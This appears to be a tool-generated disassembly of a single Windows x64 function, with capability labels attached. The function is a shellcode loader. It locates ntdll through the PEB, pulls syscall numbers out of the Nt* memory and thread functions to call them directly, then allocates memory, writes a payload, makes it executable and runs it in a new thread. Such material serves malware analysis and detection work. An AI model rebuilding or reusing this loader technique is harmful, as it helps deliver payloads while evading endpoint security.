Function at 0x140001070
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7e0]
sub rsp, 0x8e0
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x7d0], rax
mov rsi, qword gs:[0x60]
lea rcx, str.ntdll.dll
mov qword [rsp + 0x68], rcx
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400010c4
lea rcx, [rbp - 0x70]
xor r13d, r13d
mov qword [rsp + 0x28], rcx
lea r8, [rax*2 + 1]
lea rcx, [rbp - 0x68]
mov qword [rbp - 0x68], r13
lea r9, [rsp + 0x68]
mov qword [rbp - 0x70], r13
lea rdx, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbsrtowcs_s]
mov r12d, 2
lea rax, [rbp - 0x60]
mov ecx, r12d
xorps xmm0, xmm0
xor edx, edx
nop word [rax + rax]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
sub rcx, 1
jne 0x140001120
lea rcx, [rbp + 0x3c0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
movsxd rdi, eax
test eax, eax
jle 0x14000118b
mov rbx, r13
nop word [rax + rax]
movzx ecx, word [rbp + rbx*2 + 0x3c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_towlower]
mov word [rbp + rbx*2 - 0x60], ax
inc rbx
cmp rbx, rdi
jl 0x140001170
mov rax, qword [rsi + 0x18]
mov r15, qword [rax + 0x20]
mov r14, r15
nop word [rax + rax]
lea rax, [rbp + 0x1b0]
xorps xmm0, xmm0
xor edx, edx
mov rcx, r12
nop
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
sub rcx, 1
jne 0x1400011b0
mov dword [rax], edx
mov rbx, r13
mov rdi, qword [r14 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
movsxd rsi, eax
test eax, eax
jle 0x14000121a
nop word [rax + rax]
movzx ecx, word [rdi + rbx*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_towlower]
mov word [rbp + rbx*2 + 0x1b0], ax
inc rbx
cmp rbx, rsi
jl 0x140001200
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140001240
mov r14, qword [r14]
cmp r14, r15
jne 0x1400011a0
mov r15, r13
jmp 0x140001244
mov r15, qword [r14 + 0x20]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, r15
call fcn.140001840
lea rdx, str.NtProtectVirtualMemory
mov rcx, r15
mov rbx, rax
call fcn.140001840
lea rdx, str.NtWriteVirtualMemory
mov rcx, r15
mov rdi, rax
call fcn.140001840
lea rdx, str.NtCreateThreadEx
mov rcx, r15
mov rsi, rax
call fcn.140001840
lea rdx, str.NtWaitForSingleObject
mov rcx, r15
mov r14, rax
call fcn.140001840
mov r10, rax
mov r9d, r13d
mov r8d, r12d
mov ecx, r9d
movzx edx, byte [rcx + rbx]
cmp dl, 0x4c
jne 0x1400012f6
lea ecx, [r8 - 1]
cmp byte [rcx + rbx], 0x8b
jne 0x1400012fb
mov eax, r8d
cmp byte [rax + rbx], 0xd1
jne 0x1400012fb
lea eax, [r8 + 1]
cmp byte [rax + rbx], 0xb8
jne 0x1400012fb
lea eax, [r8 + 0x10]
cmp byte [rax + rbx], 0xf
jne 0x1400012fb
lea eax, [r8 + 0x11]
cmp byte [rax + rbx], 5
jne 0x1400012fb
lea eax, [r8 + 0x12]
cmp byte [rax + rbx], 0xc3
jne 0x1400012fb
lea eax, [r9 + 4]
movzx r11d, word [rax + rbx]
jmp 0x140001368
cmp dl, 0xc3
je 0x140001303
inc r9d
inc r8d
jmp 0x1400012a4
mov edx, r13d
nop word [rax + rax]
mov eax, edx
movzx r8d, byte [rax + rbx]
cmp r8b, 0xf
jne 0x14000132a
lea eax, [rdx + 1]
cmp byte [rax + rbx], 5
je 0x140001339
inc edx
jmp 0x140001310
cmp r8b, 0xcd
jne 0x14000134e
lea eax, [rdx + 1]
cmp byte [rax + rbx], 0x2e
jne 0x140001354
lea ecx, [rdx - 1]
nop dword [rax]
cmp byte [rcx + rbx], 0xb8
je 0x140001358
test ecx, ecx
je 0x14000134e
dec ecx
jmp 0x140001340
cmp r8b, 0xc3
je 0x140001362
inc edx
jmp 0x140001310
lea eax, [rcx + 1]
movzx r11d, word [rax + rbx]
jmp 0x140001368
movzx r11d, word [rsp + 0x70]
mov r8d, r13d
mov edx, r12d
nop
mov eax, r8d
movzx ecx, byte [rax + rdi]
cmp cl, 0x4c
jne 0x1400013bc
lea eax, [rdx - 1]
cmp byte [rax + rdi], 0x8b
jne 0x1400013c1
mov eax, edx
cmp byte [rax + rdi], 0xd1
jne 0x1400013c1
lea eax, [rdx + 1]
cmp byte [rax + rdi], 0xb8
jne 0x1400013c1
lea eax, [rdx + 0x10]
cmp byte [rax + rdi], 0xf
jne 0x1400013c1
lea eax, [rdx + 0x11]
cmp byte [rax + rdi], 5
jne 0x1400013c1
lea eax, [rdx + 0x12]
cmp byte [rax + rdi], 0xc3
jne 0x1400013c1
lea eax, [r8 + 4]
movzx r13d, word [rax + rdi]
jmp 0x140001428
cmp cl, 0xc3
je 0x1400013c8
inc r8d
inc edx
jmp 0x140001370
mov edx, r13d
nop dword [rax + rax]
mov eax, edx
movzx r8d, byte [rax + rdi]
cmp r8b, 0xf
jne 0x1400013ea
lea eax, [rdx + 1]
cmp byte [rax + rdi], 5
je 0x1400013f9
inc edx
jmp 0x1400013d0
cmp r8b, 0xcd
jne 0x14000140e
lea eax, [rdx + 1]
cmp byte [rax + rdi], 0x2e
jne 0x140001414
lea ecx, [rdx - 1]
nop dword [rax]
cmp byte [rcx + rdi], 0xb8
je 0x140001418
test ecx, ecx
je 0x14000140e
dec ecx
jmp 0x140001400
cmp r8b, 0xc3
je 0x140001422
inc edx
jmp 0x1400013d0
lea eax, [rcx + 1]
movzx r13d, word [rax + rdi]
jmp 0x140001428
movzx r13d, word [rsp + 0x70]
xor r8d, r8d
mov edx, r12d
nop
movzx ecx, byte [r8 + rsi]
cmp cl, 0x4c
jne 0x14000147a
lea eax, [rdx - 1]
cmp byte [rax + rsi], 0x8b
jne 0x14000147f
mov eax, edx
cmp byte [rax + rsi], 0xd1
jne 0x14000147f
lea eax, [rdx + 1]
cmp byte [rax + rsi], 0xb8
jne 0x14000147f
lea eax, [rdx + 0x10]
cmp byte [rax + rsi], 0xf
jne 0x14000147f
lea eax, [rdx + 0x11]
cmp byte [rax + rsi], 5
jne 0x14000147f
lea eax, [rdx + 0x12]
cmp byte [rax + rsi], 0xc3
jne 0x14000147f
lea eax, [r8 + 4]
movzx r15d, word [rax + rsi]
jmp 0x1400014e8
cmp cl, 0xc3
je 0x140001486
inc r8d
inc edx
jmp 0x140001430
xor edx, edx
nop dword [rax + rax]
movzx r8d, byte [rdx + rsi]
cmp r8b, 0xf
jne 0x1400014a8
lea eax, [rdx + 1]
cmp byte [rax + rsi], 5
je 0x1400014b7
inc edx
jmp 0x140001490
cmp r8b, 0xcd
jne 0x1400014ce
lea eax, [rdx + 1]
cmp byte [rax + rsi], 0x2e
jne 0x1400014d4
lea ecx, [rdx - 1]
nop word [rax + rax]
cmp byte [rcx + rsi], 0xb8
je 0x1400014d8
test ecx, ecx
je 0x1400014ce
dec ecx
jmp 0x1400014c0
cmp r8b, 0xc3
je 0x1400014e2
inc edx
jmp 0x140001490
lea eax, [rcx + 1]
movzx r15d, word [rax + rsi]
jmp 0x1400014e8
movzx r15d, word [rsp + 0x70]
xor r8d, r8d
mov edx, r12d
nop
movzx ecx, byte [r8 + r14]
cmp cl, 0x4c
jne 0x140001540
lea eax, [rdx - 1]
cmp byte [rax + r14], 0x8b
jne 0x140001545
mov eax, edx
cmp byte [rax + r14], 0xd1
jne 0x140001545
lea eax, [rdx + 1]
cmp byte [rax + r14], 0xb8
jne 0x140001545
lea eax, [rdx + 0x10]
cmp byte [rax + r14], 0xf
jne 0x140001545
lea eax, [rdx + 0x11]
cmp byte [rax + r14], 5
jne 0x140001545
lea eax, [rdx + 0x12]
cmp byte [rax + r14], 0xc3
jne 0x140001545
lea eax, [r8 + 4]
movzx esi, word [rax + r14]
jmp 0x1400015a8
cmp cl, 0xc3
je 0x14000154c
inc r8d
inc edx
jmp 0x1400014f0
xor edx, edx
nop
movzx r8d, byte [rdx + r14]
cmp r8b, 0xf
jne 0x140001569
lea eax, [rdx + 1]
cmp byte [rax + r14], 5
je 0x140001579
inc edx
jmp 0x140001550
cmp r8b, 0xcd
jne 0x14000158f
lea eax, [rdx + 1]
cmp byte [rax + r14], 0x2e
jne 0x140001595
lea ecx, [rdx - 1]
nop dword [rax]
cmp byte [rcx + r14], 0xb8
je 0x140001599
test ecx, ecx
je 0x14000158f
dec ecx
jmp 0x140001580
cmp r8b, 0xc3
je 0x1400015a3
inc edx
jmp 0x140001550
lea eax, [rcx + 1]
movzx esi, word [rax + r14]
jmp 0x1400015a8
movzx esi, word [rsp + 0x70]
xor r14d, r14d
mov edi, r14d
mov edx, r14d
mov eax, edx
movzx ecx, byte [rax + r10]
cmp cl, 0x4c
jne 0x140001612
lea eax, [r12 - 1]
cmp byte [rax + r10], 0x8b
jne 0x140001617
mov eax, r12d
cmp byte [rax + r10], 0xd1
jne 0x140001617
lea eax, [r12 + 1]
cmp byte [rax + r10], 0xb8
jne 0x140001617
lea r8d, [r12 + 0x10]
add r8, r10
cmp byte [r8], 0xf
jne 0x140001617
lea eax, [r12 + 0x11]
cmp byte [rax + r10], 5
jne 0x140001617
lea eax, [r12 + 0x12]
cmp byte [rax + r10], 0xc3
jne 0x140001617
lea eax, [rdx + 4]
mov rdi, r8
movzx ebx, word [rax + r10]
jmp 0x14000168c
cmp cl, 0xc3
je 0x14000161e
inc edx
inc r12d
jmp 0x1400015b1
mov edx, r14d
nop dword [rax]
nop word [rax + rax]
mov r9d, edx
add r9, r10
movzx r8d, byte [r9]
cmp r8b, 0xf
jne 0x14000164e
lea eax, [rdx + 1]
cmp byte [rax + r10], 5
je 0x14000165e
inc edx
jmp 0x140001630
cmp r8b, 0xcd
jne 0x140001670
lea eax, [rdx + 1]
cmp byte [rax + r10], 0x2e
jne 0x140001676
lea ecx, [rdx - 1]
cmp byte [rcx + r10], 0xb8
je 0x14000167a
test ecx, ecx
je 0x140001670
dec ecx
jmp 0x140001661
cmp r8b, 0xc3
je 0x140001687
inc edx
jmp 0x140001630
lea eax, [rcx + 1]
mov rdi, r9
movzx ebx, word [rax + r10]
jmp 0x14000168c
movzx ebx, word [rsp + 0x70]
mov eax, 0x90
movzx ecx, r11w
mov rdx, rdi
mov word [rsp + 0x70], ax
call fcn.140001903
lea r9, [rbp - 0x78]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rsp + 0x78], r14
lea rdx, [rsp + 0x78]
mov qword [rbp - 0x78], 1
mov rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0x3000
call fcn.140001911
cmp qword [rsp + 0x78], r14
je 0x1400017f6
cmp qword [rbp - 0x78], r14
je 0x1400017f6
test eax, eax
jne 0x1400017f6
movzx ecx, r15w
mov rdx, rdi
mov dword [rsp + 0x74], r14d
call fcn.140001903
mov rdx, qword [rsp + 0x78]
lea rax, [rsp + 0x74]
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
call fcn.140001911
cmp dword [rsp + 0x74], 1
jne 0x1400017ed
test eax, eax
jne 0x1400017ed
movzx ecx, r13w
mov rdx, rdi
call fcn.140001903
lea rax, [rbp - 0x80]
mov dword [rbp - 0x80], r14d
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x74]
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x78]
call fcn.140001911
test eax, eax
je 0x140001780
lea rcx, str.Failed_to_mark_memory_as_executable_n
jmp 0x1400017fd
movzx ecx, si
mov rdx, rdi
call fcn.140001903
mov rax, qword [rsp + 0x78]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x50], r14
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], r14
xor r8d, r8d
mov qword [rsp + 0x40], r14
mov edx, 0x1fffff
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], r14
call fcn.140001911
movzx ecx, bx
mov rdx, rdi
call fcn.140001903
mov rcx, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
call fcn.140001911
jmp 0x140001802
lea rcx, str.Failed_to_write_payload_n
jmp 0x1400017fd
lea rcx, str.Failed_to_allocate_memory_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x7d0]
xor rcx, rsp
call fcn.140001940
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret